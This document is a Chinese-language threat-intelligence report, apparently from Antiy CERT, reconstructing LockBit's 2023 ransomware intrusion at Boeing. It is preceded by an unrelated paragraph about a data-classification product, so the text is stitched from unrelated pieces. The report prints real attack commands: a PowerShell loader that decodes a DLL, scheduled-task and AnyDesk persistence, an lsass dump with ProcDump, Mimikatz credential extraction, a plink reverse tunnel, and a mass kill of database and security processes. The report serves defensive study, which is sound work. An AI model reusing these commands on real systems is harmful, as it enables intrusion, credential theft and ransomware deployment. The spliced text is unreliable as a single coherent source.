自助模型训练，目前已支持ID类型的结构化数据，图片、文档 自动分类 一般情况下，识别出某种类型敏感数据之后，就能根据映射关系映射到唯一的分类下，并映射到对应的分级，但是某些行业要求更高，比如证券行业，根据证券行业分类分级标准，同种类型的敏感数据可能需要再分类放到不同分类下，如要区分“姓名”是“个人投资者信息”还是“机构投资者法人信息”，这就需要我们在识别出某个字段是“姓名”之后进一步分类，这个时候我们可以根据以下信息进行分类： · 元信息，如字段名称、字段备注、表名称、表备注等 · 同表其他字段命中的敏感数据类型，比如如果同表其他字段有公司名称，那该字段属于“法人”的概率就更高 同时，分类的识别逻辑也基于YAML格式进行了标准化，可自助研发识别能力并录入到产品中。 自动审核 机器自动识别，大家非常关注的就是准确率，很难做到100%准确，所以我们设置了一个置信度的概念，用来表示识别准确率。除了准确率，每个客户的肯定有一些自己的特殊情况，比如说某个客户每张表都有5个无任何业务含义的“id”、“gmt_create”、“gmt_modified”、“creator”、“modifier”、“is_deleted”字段，其中“creator”、“modifier”虽然是填的姓名，但是并不是敏感数据。为解决这类跟客户数据现状相关的特殊情况，我们特别提供了自定义规则能力，规则可以根据以下特征自动决策是否通过审核： · 命中的敏感数据类型，以及对应置信度 · 字段/文件的元信息，如文件名称、字段名称、字段备注等 · 字段/文件历史人工审核结果

1 前言 2016年前后，勒索攻击的主流威胁形态已经从勒索团伙传播扩散或广泛投放勒索软件收取赎金，逐渐转化为RaaS+定向攻击收取高额赎金的运行模式。RaaS为Ransomware as a Service（勒索即服务）的缩写，是勒索团伙研发运营的勒索攻击基础设施，包括可定制的破坏性勒索软件、窃密组件、勒索话术和收费通道等。各种攻击团伙和个人租用RaaS攻击基础设施，在获得赎金后，与RaaS攻击组织分账结算。在众多勒索攻击组织中，LockBit组织最为活跃，从其公布的数据显示，LockBit的RaaS支撑了上千起的攻击活动，并因一例涉及中资企业海外机构案例被国内外广泛关注。 为有效应对RaaS+定向勒索风险，防御者需要更深入地了解定向勒索攻击的运行机理，才能构建有效的敌情想定，针对性的改善防御和响应能力。因此，择取典型案例，对此类攻击进行深度复盘极为重要。但由于相关涉我案例的分析支撑要素并不成熟，安天CERT在其他近期重大攻击案例中进行了筛选，选择了同样与LockBit组织相关，且可参考信息相对丰富的波音公司遭遇定向勒索攻击事件（以下简称本事件）展开了完整复盘分析。安天CERT长期关注和分析勒索攻击，对LockBit等攻击组织的持续关注，形成了较为系统的分析积累，依托安天赛博超脑平台的情报数据，CISA等机构对本事件公布的相关公开信息展开工作。从攻击过程还原、攻击工具清单梳理、勒索样本机理、攻击致效后的多方反应、损失评估、过程可视化复盘等方面开展了分析工作，并针对事件中暴露的防御侧问题、RaaS+定向勒索的模式进行了解析，并提出了防御和治理方面的建议。 2 事件背景和报告形成的过程 2023年10月下旬，波音公司成为了RaaS+定向勒索攻击的受害者[1]。由于LockBit是通过RaaS模式运营的攻击组织，本次攻击事件的实际攻击者暂时无法确认。2023年10月27日，LockBit所属的受害者信息发布平台发消息声称窃取了波音的大量敏感数据，并以此胁迫波音公司，如果不在2023年11月2日前与LockBit组织取得联系，将会公开窃取到的敏感数据。此后，波音一度从受害者名单中消失，直至11月7日，LockBit组织再次将波音公司列入受害者名单中，并声称波音公司无视其发出的警告，威胁要发布大约4GiB的数据。可能因双方谈判失败，LockBit组织于11月10日公开发布了从波音公司窃取到的21.6 GiB数据（媒体报道为43 GiB，系重复计算了压缩包和展开后的数据）。 安天长期持续跟踪和响应了从勒索软件传播到定向勒索攻击的活动演进。在历史分析成果中，对“勒索软件和蠕虫的合流”、“定向勒索将接近APT攻击水准”等，都发出了风险预警（参见附录四）。针对LockBit的本次攻击波，安天于11月17日以《LockBit 勒索软件样本分析及针对定向勒索的防御思考》[2]为题，发布了本报告的V1.0版。由于当时缺少相对丰富的信息，在技术层面仅展开了样本分析工作，并未进行攻击过程复盘。波音公司被勒索攻击之后，美国网络安全和基础设施安全局（CISA）对事件进行了取证调查，并于2023年11月21日发布了相关报告[3]，相关报告给出了高质量的形式化情报，为分析复盘攻击事件提供了极为重要的参考，我们结合历史工作积累其他开源情报和对本报告进行完善。 3 LockBit攻击组织的历史情况和部分历史攻击事件 3.1 组织基本情况 LockBit组织最早于2019年9月被发现，因其加密后的文件名后缀为.abcd，而被称为ABCD勒索软件；该组织在2021年6月发布了勒索软件2.0版本，增加了删除磁盘卷影和日志文件的功能，同时发布专属数据窃取工具StealBit，采用“威胁曝光（出售）企业数据+加密数据”双重勒索策略；2021年8月，该组织的攻击基础设施频谱增加了对DDoS攻击的支持；2022年6月勒索软件更新至3.0版本，由于3.0版本的部分代码与BlackMatter勒索软件代码重叠，因此LockBit 3.0又被称为LockBit Black，这反映出不同勒索攻击组织间可能存在的人员流动、能力交换等情况。使用LockBit RaaS实施攻击的相关组织进行了大量攻击作业，通过第三方获取访问凭证、漏洞武器化和搭载其他恶意软件等方式入侵至受害者系统后投放勒索软件，大量受害者遭受勒索和数据泄露。 LockBit攻击组织在2022年实施的多次勒索攻击活动及影响突显了其为该年度全球最活跃的勒索攻击组织，甚至主动采取了传播和PR活动。该组织面向Windows、Linux、macOS、以及VMware虚拟化平台等多种主机系统和目标平台研发勒索软件，其生成器通过简单交互即可完成勒索软件定制。LockBit勒索软件仅对被加密文件头部的前4K数据进行加密，因此加密速度明显快于全文件加密的其他勒索软件，由于在原文件对应扇区覆盖写入，受害者无法通过数据恢复的方式来还原未加密前的明文数据。 表 3‑1 LockBit攻击组织基本情况 LockBit勒索组织的RaaS服务成为攻击者实施网络勒索行为的犯罪工具。这些攻击者通过利用多种手段，其中包括第三方获取访问凭证、漏洞武器化，以及搭载其他恶意软件等方式，成功实现对受害系统的初始访问。一旦入侵成功，攻击者的下一步行动通常涉及窃取数据文件，并随后投放LockBit勒索软件，将目标系统的数据文件进行加密，继而实施勒索。 3.2 历史勒索攻击情况 LockBit勒索组织的规模庞大，拥有众多附属成员。其Tor网站几乎每天都在更新，新增来自世界各地的受害者信息。这个组织采用了一种双重勒索策略，即“威胁曝光企业数据+加密数据勒索”，进一步加剧了攻击的危害程度。在Tor网站上，LockBit组织已经发布了超过2200条受害企业信息，仅在2023年，已经发布了1000余条受害企业信息。这仅仅是公开信息，而实际受害企业数量可能远超过这个数字。值得关注的是，攻击者与受害企业有时会选择通过私下谈判的方式解决问题，而不在Tor上公开受害企业信息。这意味着实际受害企业数量可能远远超过已公开的信息，这加剧了LockBit组织对企业和机构的网络安全威胁。 表 3‑2 遭遇LockBit勒索攻击的典型事件清单 时间 受害单位 影响 2021年8月 爱尔兰IT咨询公司埃森哲 窃取约6 TiB数据，要求支付5000万美元赎金 2022年1月 法国泰雷兹集团 部分数据被公开；同年11月再次遭受勒索攻击，公开窃取的约9.5 GiB数据 2022年2月 普利司通美洲分公司 公司暂停部分工作运营，受害系统数据被窃 2022年6月 美国数字安全公司Entrust 部分数据被窃取 2022年7月 法国电信运营商La Poste Mobile 导致部分系统关停，官方网站关停10余天，部分用户信息被公开 2022年10月 巴西利亚银行 部分数据被窃取，要求支付50 BTC赎金 2022年11月 德国大陆集团 窃取约40 GiB数据，要求支付5000万美元赎金 2022年12月 美国加州财政部 窃取约76 GiB数据 2023年1月 英国皇家邮政 国际出口服务中断，约45 GiB数据被窃取，要求支付8000万美元赎金 2023年6月 台积电供应商擎昊科技 部分数据被窃取，要求支付7000万美元赎金 2023年8月 加拿大蒙特利尔市电力服务委员会 窃取约44 GiB数据 2023年10月 美国波音公司 窃取约21.6 GiB数据 4 事件过程完整复盘分析 为了让防御者更深入了解定向勒索攻击的运行机理，有针对性的改善防御和响应能力，安天CERT以对LockBit攻击组织的历史分析成果为基础，参考CISA取证报告等开源情报，综合运用多种分析方法和手段，对LockBit组织针对波音公司的勒索攻击进行了复盘，分析了勒索样本，梳理了攻击工具清单，对攻击致效后的情况和损失进行了分析，并对攻击杀伤链与技战术图谱进行了分析。 4.1 攻击过程复盘 步骤1：LockBit勒索组织（后称攻击者）针对波音公司的Citrix NetScaler ADC 和 NetScaler Gateway 设备发动漏洞利用攻击，窃取有效用户的访问cookie。该漏洞无需额外权限，攻击者可在不需要任何权限的前提下，构造特定的数据包造成缓冲区溢出，可从 Citrix NetScaler ADC 和 NetScaler Gateway 中越界检索身份验证会话 cookie等信息，通过cookie绕过身份验证，获取系统web登录权限，通过web功能配置植入木马进行信息窃取或勒索软件进行勒索攻击。 Citrix NetScaler ADC 和 NetScaler Gateway 均提供网关服务，其web管理界面可对http、dns进行详细的管理和配置，可篡改用户数据实现投毒，可对插件进行恶意更换，用户安装被恶意更换的插件后即可被控。 图 4‑1 Citrix配置界面 步骤2：攻击者利用窃取的cookie实现对波音公司边界服务器的访问，植入运行脚本123.ps1，实现释放并执行Downloader木马，从C2中下载各种远程软件、脚本、网络扫描等武器装备，Downloader可远程获取的装备清单如表4-1所示。 123.ps1脚本内容如下，功能为拼接base64编码，解码生成adobelib.dll文件（Downloader木马），以特定十六进制字符串作为参数加载该Downloader木马： $y = "TVqQAAMA... $x = "RyEHABFQ... $filePath = "C:\Users\Public\adobelib.dll" $fileBytes = [System.Convert]::FromBase64String($y + $x) [System.IO.File]::WriteAllBytes($filePath, $fileBytes) rundll32 C:\Users\Public\adobelib.dll,main ed5d694d561c97b4d70efe934936286fe562addf7d6836f795b336d9791a5c44表 4‑1 攻击装备列表 攻击装备 123.ps1(初始脚本） processhacker.exe（结束进程及服务） psexec.exe（远程命令执行） AnyDesk（远程控制软件） ad.ps1(域环境信息收集) mimikatz.exe（凭证获取） tniwinagent.exe（信息收集） Splashtop（远程控制软件） veeam-get-creds.ps1（凭证收集） proc.exe（进程dump） Zoho（远程控制软件） Action1（远程控制软件） secretsdump.py（凭证收集） netscan.exe（网络扫描） ConnectWise（远程控制软件） Atera（远程控制软件） sysconf.bat(执行plink） servicehost.exe（建立SSH隧道工具-plink) Screenconnect（远程控制软件） fixme it（远程控制软件） 步骤3：攻击者将恶意dll文件配置为计划任务和将AnyDesk远程软件配置成服务来实现持久化访问该入口。AnyDesk是一款由德国公司AnyDesk Software GmbH推出的远程桌面软件。用户可以通过该软件远程控制计算机，同时还能与被控制的计算机之间进行文件传输，主要应用于客户日常运维和业务相关主机的远程管理。这一软件是常用网管工具、由正规软件研发企业发布，且有对应厂商数字签名，往往被作为白名单软件。但这也使攻击组织在活动中利用这类软件的远程管理功能实现持久访问、文件传输，并利用其是合法签名执行体来规避检测。 服务创建及计划任务添加所使用的命令如下： schtasks.exe /create /tn " UpdateAdobeTask " /sc MINUTE /mo 10 /tr "'Mag.dll '" /f sc create AnyDesk binpath= c:\perflogs\ AnyDeskMSI.exe type=own start=auto displayname=AnyDesk安天 AVL SDK 反病毒引擎检测到AnyDesk后，会反馈输出 Riskware/Win32. AnyDesk作为命名，便于提醒网管判断是正常应用还是攻击者投放。 步骤4：攻击者使用合法的网络扫描工具探测目标内部网络服务，通过ADRecon脚本（ad.ps1）收集AD域信息，利用tniwinagent工具（信息收集）收集其他主机信息。ADRecon 是由澳大利亚信息安全服务提供商Sense of Security开发的一种收集有关 Active Directory 信息并生成报告的工具，该报告可以提供目标 AD 环境当前状态的整体情况。该工具采用PowerShell脚本语言编写，于2018年在Github开源。基于域环境信息收集功能，易被攻击者利用，其中FIN7黑客组织曾使用过该工具[4]。 安天 AVL SDK 反病毒引擎检测到的ADRecon后，会反馈输出 HackTool/PowerShell.ADRecon作为命名，便于提醒网管判断是正常应用还是攻击者投放。 步骤5：攻击者使用proc.exe（进程dump）工具获取lsass.exe进程内存，结合Mimikatz工具获取系统中的各类凭证；使用veeam-get-creds.ps1脚本从波音公司的veeam平台中获取保存的凭证；使用secretsdump.py从波音公司的Azure VM上获取各种账号数据库文件及注册表信息。相关使用命令如表4-2所示。 表 4‑2 凭证窃取操作信息表 命令作用 命令内容 转储lsass进程内存 proc.exe -accepteula -ma lsass.exe c:\perflogs\lsass.dmp 从lsass进程转储文件中提取凭证 mimikatz.exe "sekurlsa::minidump c:\perflogs\lsass.dmp " "sekurlsa::logonPasswords full" 从veeam平台中提取凭证 .\veeam-get-creds.ps1 从Azure VM平台中收集凭证 secretsdump.py Mimikatz（Mimikatz）是一款黄帽子（黑客）工具，最初由法国黑客Benjamin Delpy开发，并于2011年首次发布，该工具除了可执行文件版本外还存在脚本类型版本。Mimikatz的主要功能是获取和操控Windows操作系统中的凭证，如用户登录密码、Windows登录凭据（NTLM哈希和Kerberos票据）以及各种应用程序和服务的凭证。Mimikatz设计的目的是揭示Windows系统中密码和凭证管理的薄弱点，并用于安全专业人员的演示和教育目的。然而，由于其功能强大且广泛被黑客所利用，Mimikatz也被视为危险的工具，用于进行恶意攻击、数据窃取和潜在的勒索活动。凭借其高度灵活和兼容性，Mimikatz已被APT组织或网络犯罪组织应用于攻击活动中，其中安天于2020年监测到苦象组织使用PowerShell脚本形式的Mimikatz工具[5]。 安天 AVL SDK 反病毒引擎检测到的Mimikatz后，会反馈输出 HackTool/Win32.Mimikatz、HackTool/Win64.Mimikatz或Trojan/PowerShell.Mimikatz作为命名，便于提醒网管判断是正常应用还是攻击者投放。 ProcDump 是一个命令行实用程序，是Sysinternals Suite 系统组件的一部分，其主要目的是监视应用程序的 CPU 峰值并在峰值期间生成故障转储，管理员或开发人员可以使用它来确定峰值的原因。ProcDump 还包括挂起窗口监视（使用与 Windows 和任务管理器使用的窗口挂起相同的定义）、未处理的异常监视，并且可以根据系统性能计数器的值生成转储。它还可以用作通用进程转储实用程序，将其嵌入到其他脚本中。在本次事件中，该工具被攻击者利用其白名单特性及进程转储功能，结合Mimikatz工具获取系统凭证。 安天 AVL SDK 反病毒引擎检测到对应版本的ProcDump后，会反馈输出 RiskWare/Win32.ProcDump或RiskWare/Win64.ProcDump作为命名，便于提醒网管判断是正常应用还是攻击者投放。 步骤6：攻击者利用获取的各种凭证结合Psexec工具（远程命令执行），在波音内部网络其他主机上部署各种远程软件，获取更多其他服务器及主机的访问权限。Psexec是一个命令行网络管理工具，是Sysinternals Suite系统组件的一部分，其调用了Windows系统的内部接口，以远端Windows主机账户名、密码和要执行的本地可执行文件为输入参数，基于RPC$服务实现，将本地可执行文件推送到远端主机执行，其设计初衷是为了便于网络管理人员以实现敏捷的远程运营。但由于其作为命令行工具便于被调用封装，也导致极易被攻击者作为攻击工具使用，在完成口令破解后，实现一次性投放执行。早在2003年，广泛出现大量基于空口令和常见口令进行传播的系列“口令蠕虫”，大部分都使用了这个机制。特别是出品该系统组件的Sysinternals的团队在2006年7月18日被微软收购，导致其后续版本都带有微软的数字签名，所以也连带导致其会被较大比例的安全软件放行。 安天AVL SDK反病毒引擎检测到对应版本的Psexec后，会反馈输出 RiskWare/Win32.Psexec或RiskWare/Win64.Psexec作为命名，便于提醒网管判断是正常应用还是攻击者投放。 步骤7：利用远程访问软件传输步骤4至步骤6涉及的各种工具，循环执行步骤4至步骤6的各种操作，尽可能获取更多服务器及主机的访问权限。 步骤8：从已控制的系统中收集各种信息（包括备份文件等），并使用7z.exe工具进行压缩。 步骤9：通过plink.exe工具建立的SSH隧道回传数据；通过FTP协议回传数据(193.201.9[.]224)；通过远程控制软件回传数据。plink.exe工具是PuTTY软件中的一个组件，主要功能类似于Linux系统上的ssh命令行工具，用于SSH连接远程主机，同时提供多种方式创建或管理SSH会话。由于其属于PuTTY软件的一个组件，具备数字签名，能够规避以数字签名作为白名单检测机制的终端防护软件的检测。 攻击者使用如下命令格式实现SSH隧道建立： echo enter | c:\windows\servicehost.exe -ssh -r 8085:127.0.0.1:8085 步骤10：结束相关主机的数据库服务及进程、杀毒软件、其他阻碍勒索加密的进程。 攻击者使用如下命令结束相关进程及服务： cmd.exe /q /c taskkill /f /im sqlwriter.exe /im winmysqladmin.exe /im w3sqlmgr.exe /im sqlwb.exe /im sqltob.exe /im sqlservr.exe /im sqlserver.exe /im sqlscan.exe /im sqlbrowser.exe /im sqlrep.exe /im sqlmangr.exe / im sqlexp3.exe /im sqlexp2.exe /im sqlex 步骤11：将LockBit 3.0勒索软件通过远程控制软件部署到目标主机（数据价值高的、业务重要性强的）中并执行，实现加密勒索。对目标加密完成后，释放勒索信并修改桌面背景用以提示受害者，便于受害者根据勒索信中预留的联系方式与攻击者进行谈判，谈判内容包括支付赎金的数额和支付方式等。勒索软件及勒索信分析详见下节。 图 4‑2勒索信中的联系方式 4.2 攻击工具清单梳理 在本次攻击事件中，攻击者利用Citrix设备相关的CVE-2023-4966漏洞作为突破口，入侵后组合利用多种攻击装备实现网络攻击，例如使用多种带有数字签名的远程控制软件与受害系统建立远程连接，实现传播其他攻击装备；利用Process Hacker实现禁用和卸载与安全软件有关的进程和服务；通过ProcDump工具转储进程内存，结合Mimikatz实现凭证获取，使用NetScan进行网络扫描，用以发现与网络有关的信息等，攻击装备具体使用情况见下表： 表 4‑3 攻击装备使用情况 装备类型 名称 装备来源 备注 漏洞利用 Citrix Bleed（CVE-2023-4966） 自研漏洞利用代码 Citrix NetScaler ADC 和 NetScaler Gateway 设备的软件漏洞 脚本 123.ps1 自研脚本 解码并释放Downloader木马 ad.ps1 开源脚本（Github） AD域侦察脚本，收集域内各种信息 veeam-get-creds.ps1 开源脚本（Github） 从Veeam平台获取保存的凭证信息 secretsdump.py 开源脚本（Github） 从Azure VM上获取各类账户数据库信息（凭证） sysconf.bat 自研脚本 用于执行plink 黑客工具 processhacker.exe 公开软件 禁用和卸载与安全软件有关的进程和服务 mimikatz.exe 开源软件 从内存和进程转储文件中获取凭证 进程转储 proc.exe 公开软件 通过ProcDump工具转储lsass.exe内存，结合Mimikatz实现凭证获取 网络扫描 netscan.exe 公开软件 重命名Softperfect公司的网络扫描软件，实现网络扫描功能 端口转发 servicehost.exe 公开软件 重命名的plink（PuTTY Link），用于端口转发建立SSH隧道 远程执行 psexec.exe 公开软件 用于远程部署特定程序 TNI客户端 tniwinagent.exe 公开软件 用于发现网络环境中的其他用户，收集信息 远程软件 Zoho 公开软件 远程控制软件，用于建立远程连接，实现攻击装备传播 ConnectWise 公开软件 远程控制软件，用于建立远程连接，实现攻击装备传播 Screenconnect 公开软件 远程控制软件，用于建立远程连接，实现攻击装备传播 AnyDesk 公开软件 远程控制软件，用于建立远程连接，实现攻击装备传播 Splashtop 公开软件 远程控制软件，用于建立远程连接，实现攻击装备传播 Action1 公开软件 远程控制软件，用于建立远程连接，实现攻击装备传播 Atera 公开软件 远程控制软件，用于建立远程连接，实现攻击装备传播 fixme it 公开软件 远程控制软件，用于建立远程连接，实现攻击装备传播 4.3 勒索样本分析 LockBit有针对多个常见系统平台的载荷，由于并未获得本事件的实际场景运用信息，我们选择了其最新的Windows平台样本进行分析。 表 4‑4恶意执行体样本卡片 病毒家族名称 Trojan[Ransom]/Win32.LockBit MD5 38745539B71CF201BB502437F891D799 处理器架构 Intel 386 or later, and compatibles 文件大小 162.00 KB (165888字节) 文件格式 BinExecute/Microsoft.EXE[:X86] 时间戳 2022-06-27 14:55:54 数字签名 无 加壳类型 无 编译语言 C/C++ VT首次上传时间 2022-07-03 16:18:47 VT检测结果 64/72 注：可在计算机病毒分类命名百科全书Virusview.net，搜索“LockBit”查看更多该病毒家族相关信息。 勒索软件执行后会释放.ico文件和.bmp文件于%PROGRAMDATA%路径下，用作后续被加密文件的图标和修改的桌面壁纸。 图 4‑3附加扩展名 释放的用于标识被加密文件的图标如图4-4所示。 图 4‑4 被加密文件的图标 LockBit 3.0的代码段进行了加密，在执行后会根据传入的“-pass”命令行参数解密执行，没有密码则无法执行，用该手段来确保加密操作由攻击者在合适时点触发，同时也用来提高防御方和安全企业的分析难度。 图 4‑5解密代码段 通过NtSetThreadInformation函数将线程信息设置为ThreadHideFromDebugger，以干扰研究人员分析。 图 4‑6干扰分析代码片段 检测系统语言，如果为特定语言则退出程序，不再执行。 图 4‑7检查语言 具体检查的语言列表如下，通过其规避的系统，可见LockBit组织本身具有较强的东欧背景特点。 表 4‑5检查的语言列表 创建多个线程进行加密，并将线程设置为隐藏。LockBit勒索软件仅对被加密文件头部的前4K数据进行加密，因此加密速度明显快于全文件加密的其他勒索软件，由于在原文件对应扇区覆盖写入，受害者无法通过数据恢复的方式来还原未加密前的明文数据。 图 4‑8创建文件加密线程 勒索攻击后用户的桌面背景被替换，图片内容为醒目的黑底白字，以增加用户恐慌和压迫感，内容为告知用户的重要文件遭遇窃取和加密，让用户打开对应的文本文件，并按照文本文件中的要求进行操作。 图 4‑9 修改桌面背景 对应的文本文件即为勒索告知信，其中再次告知用户数据失窃并被加密，恐吓用户如果不缴纳赎金，数据会被放到Tor暗网售卖。信件中包含用于赎金谈判的Tor地址。 图 4‑10勒索信 4.4 攻击致效后的情况分析 2023年10月27日18时19分，攻击者将波音公司相关信息发布在LockBit勒索软件的Tor网站上并以此胁迫波音公司，如果不在2023年11月2日前与LockBit组织取得联系，将会公开窃取到的敏感数据。此后，波音公司一度从受害者名单中消失，疑似波音与LockBit进入了谈判过程。 图 4‑11 LockBit攻击组织第一次发布的有关波音公司的勒索提示 2023年11月2日，波音公司声明其客户服务网站services.boeing.com，因技术原因暂停服务，但不影响飞行安全。 图 4‑12波音公司网站暂停服务声明 2023年11月7日，LockBit组织再次将波音公司列入受害者名单中，并声称波音公司无视其发出的警告，并威胁要公开约4GiB的数据。 图 4‑13 LockBit攻击组织威胁公开部分数据 2023年11月10日，LockBit组织公开发布从波音公司窃取到约21.6 GiB数据，这些文件包括IT管理软件的配置备份以及监控和审核工具的日志，其中包含Citrix设备的相关文件。从数据清单来看，多数为IT场景、安全产品和设备的相关数据与日志。 图 4‑14 LockBit攻击组织公开发布窃取的所有波音公司数据 4.5 损失分析 为了更准确分析数据泄露所带来的风险，安天工程师对相关信息进行了进一步梳理。根据媒体报道，所泄露的文件共计64个，数据约43 GiB。攻击者初始发布的数据包含21.6 GiB压缩包文件及解压后的全部文件，而最初压缩包内的文件列表未提供，导致大部分网络安全新闻报道时将压缩包和包内文件进行了重复计算，即约43 GiB的数据。LockBit于2023年12月19日在受害者信息及数据发布平台上发布了压缩包中的解压文件列表。经对比分析为重复数据。因此，本报告认定的数据以压缩包大小约21.6 GiB为准，我们基于文件大小、文件类型、使用的部门及可能带来的风险展开分析，本分析是基于攻击者公布的文件列表中的信息完成的，存在一定猜测成分。 1、文件大小分析 （1）大于500MiB 的文件：11个，共计41.1 GiB，最大文件是21.6 GiB（该文件为所有文件的压缩包，即媒体误公布数据为43GiB的原因），最小文件1.2 GiB。其中，IT管理系统备份数据4.1 GiB，2018年数据存储库备份数据2.8 GiB，存储库安全组件数据1.3 GiB，分布式虚拟机软件数据2.5GiB，IT解决方案数据1.2 GiB，语音数据4.5 GiB，所有数据的压缩包文件21.6 GiB，其它数据3.1 GiB，Citrix云计算虚拟化软件系统数据770.5MiB、应用程序管理软件505.1MiB，应用程序控制数据588.1MiB。 （2）小于500MiB的文件：53个，最大文件是960.5KiB，最小文件是5.6KiB。其中涉及商业审计、视频监控、数字无线通讯、Citrix云计算虚拟化软件、数据库管理、系统审计工具、ERP管理、波音网站目录树、仿真软件、路径导航软件、实时通信软件、邮箱数据、HP打印审计软件、IT管理系统软件、智能仓储管理系统、文档管理系统等疑似配置文件数据。 2、文件相关内容分析 涉及的软件类型有30种，包括商业审计、视频监控、应用程序管理软件、数字无线通讯设备、波音公司邮箱、波音公司开发的软件、Citrix云计算、虚拟化软件、数据库管理软件、数据中心管理软件、网络安全软件、OpenStack私有云部署软件、HP打印审计软件、IT管理系统软件、数据备份软件、分布式虚拟机软件、企业IT解决方案软件、云语音识别软件、虚拟化软件、系统审计工具、系统日志记录工具、智能仓储管理系统、虚拟化系统、ERP管理软件、文档管理系统、波音网站数据、仿真软件、疑似授权文件、路径导航系统软件、实时通信软件及其它不确定类型。 3、涉及部门分析 通过文件属性分析，对应的内部使用者，疑似涉及的部门有12个，包括财务部门、安全运营部门、调度部门、客服部门、IT运营部门、飞机维护检修部门、信息安全部门、仓储物流部门、项目管理部门、研发部门、通信部门及其它不确定部门。 4、风险分析 综上，从LockBit所曝光的数据来看，尽管整体上是信息化系统和软件运行日志和备份数据为主。但可能给波音公司带来四方面风险，一是进一步的用户数据泄露风险，主要包括网站、邮箱、仓储、物流、客服等数据。二是应用软件清单暴露风险，主要包括审计、视频监控、通讯、打印、ERP、文档管理、导航、调度、仓储物流等软件。三是安全运营风险，主要包括应用程序管理、Citrix云计算、虚拟化、数据库管理、数据中心管理、安全软件、私有云、网管软件、数据备份等失控风险。四是研发数据风险，主要包括仿真设计和项目研发等数据。 经过上述分析，我们认为实际风险可能大于波音自身所公布的风险提示，并特别需要研判是否会对飞行安全带来风险。 4.6 攻击的杀伤链与技战术图谱分析 LockBit勒索软件组织代表了网空威胁的一种典型形式，具备较为完备攻击支持体系、模块化攻击装备和规模化运营团队。在这些资源的支持下，他们得以能够为高度复杂的攻击活动提供支撑。仅仅关注漏洞、恶意代码等单一环节的分析无法全面理解这类攻击组织的整体过程，也难以为防御提供有效的指导。为了有效抵御超高能力网空威胁行为体的攻击威胁，安全人员需要采用系统化、框架化的威胁分析模型，以深入、全面地分析这些威胁行为，理解攻击者的手法，从而实现更加有效的防御。 安天以网空威胁框架ATT&CK为参考，对此次事件的各阶段行为进行标准化描述和分类，协助分析攻击者的意图和行为，为相关防御工作的开展提供借鉴和参考。通过复盘分析发现，此攻击是基于Citrix的CVE-2023-4966漏洞，对Citrix NetScaler ADC和NetScaler Gateway相关设备实现初始访问，后续再组合利用多种工具实现多种恶意行为，包括窃取凭证、横向移动、访问数据资源、窃取数据和加密数据的复杂杀伤链过程。 本次事件对应ATT&CK各个阶段及具体行为如下表所示： 表 4‑6 LockBit勒索攻击战术行为列表 ATT&CK阶段 具体行为 注释 初始访问 利用面向公众的应用程序 通过CVE-2023-4966漏洞入侵Citrix NetScaler ADC和NetScaler Gateway设备 执行 利用命令和脚本解释器 通过PowerShell执行恶意脚本文件123.ps1 利用计划任务/工作 通过计划任务执行特定恶意程序 利用系统服务 使用PsExec来执行命令或有效负载 利用Windows管理规范（WMI） 使用wmiexec.exe执行特定命令 持久化 利用自动启动执行引导或登录 通过将AnyDeskMSI.exe添加自启动服务以实现持久化 提权 利用漏洞提权 通过CVE-2023-4966漏洞提升权限 防御规避 执行范围保护 输入正确的参数会解密主要组件 削弱防御机制 使用Process hacker工具来禁用和卸载与安全软件有关的进程和服务 删除信标 清除系统事件日志文件，勒索软件自删除 修改身份验证过程 通过CVE-2023-4966漏洞绕过MFA以实现后续恶意行为 混淆文件或信息 混淆代码用以下载黑客工具；向特定C2地址发送混淆加密过的数据 凭证访问 从存储密码的位置获取凭证 使用veeam-get-creds.ps1脚本获取Veeam凭证并解密；使用Mimikatz窃取凭证 修改身份验证过程 通过CVE-2023-4966漏洞绕过MFA，劫持Citrix NetScaler ADC和NetScaler Gateway设备上的合法用户会话，实现凭证访问 操作系统凭证转储 通过ProcDump工具转储进程内存，结合Mimikatz实现凭证获取 窃取Web会话cookie 窃取Web应用会话cookie，在NetScaler设备内建立经过身份验证的会话 发现 发现域信任 利用ADRecon从域环境中提取信息 扫描网络服务 利用NetScan扫描与网络相关的服务项 发现网络共享 利用NetScan发现网络共享路径 发现远程系统 利用NetScan发现网络环境中其他远程系统 发现系统信息 获取系统内存信息和有效的NetScaler AAA会话cookie；不会感染系统语言设置与定义的排除列表相匹配的计算机；枚举系统信息，包括主机名、主机配置、域信息、本地驱动器配置、远程共享和安装的外部存储设备 发现系统地理位置 不会感染系统区域设置与定义的排除列表相匹配的计算机 发现系统所有者/用户 通过tniwinagent.exe发现网络环境中的其他用户 横向移动 远程服务会话劫持 通过CVE-2023-4966漏洞劫持合法用户会话 利用远程服务 通过获取到的访问凭证，结合利用PsExec实现横向移动 收集 远程服务会话劫持 通过CVE-2023-4966漏洞劫持合法用户会话 利用远程服务 通过获取到的访问凭证，结合利用PsExec实现横向移动 命令与控制 使用应用层协议 使用FTP协议从受害系统向外传输数据 使用协议隧道 使用PuTTY Link执⾏SSH操作 利用远程访问软件 使用Action1、Atera、Fixme it、Screenconnect、AnyDesk、Splashtop、Zoho assist和ConnectWise等工具进行远程控制 数据渗出 自动渗出数据 使用StealBit自定义渗透⼯具从目标网络自动窃取数据 影响 损毁数据 删除日志文件并清空回收站 造成恶劣影响的数据加密 对目标系统上的数据进行加密，以中断系统和网络的可用性 篡改可见内容 将主机系统的壁纸和图标分别更改为LockBit 3.0壁纸和图标 禁用系统恢复 删除磁盘上的卷影副本 禁用服务 终止特定进程和服务 梳理总结后，我们将该事件中涉及的威胁行为技战术映射到ATT&CK图谱中。 图 4‑15 LockBit勒索攻击战术行为图谱 4.7 攻击过程小结、损失评估与可视化过程复盘 上述分析表明，这是一起基于LockBit勒索攻击组织所提供的RaaS基础设施的针对知名企业的定向勒索攻击事件。攻击者以ADC网络边界设备为初始突防点，把握了相关设备在出现漏洞后未及时响应带来的机会窗口，在相关漏洞利用代码出现后，在第一时间发掘利用，以此实现凭证窃取。之后利用凭证完成进一步的横向移动和向场景中按需投放的落地能力。攻击组织运用了大量开源和商用工具作为实现不同功能的攻击组件，并通过突破域控等关键主机，实现进一步的凭证权限窃取，实现准确和有效投放，窃取了所攻陷主机的相关数据，实现了勒索软件部署。 图 4‑16 LockBit攻击组织入侵波音公司过程复盘 仅从LockBit所公布的数据来看，主要是相关配置、运营、IT、安全相关的数据，似不包含关于相关技术、工艺、生产、商务等相关的文档、数据。我们猜测存在两种可能： 1、攻击者突破了波音在线服务体系的管理运营，并未进入到实际科研、生产、财务等位置。 2、攻击者仅公布了其中的相对低的价值数据，而将高价值数据继续作为和波音未来谈判的筹码，待价而沽。 安天CERT相对倾向原因为第一种，但如损失分析一节中所述，依然可能多方面有更为严重的风险后果。 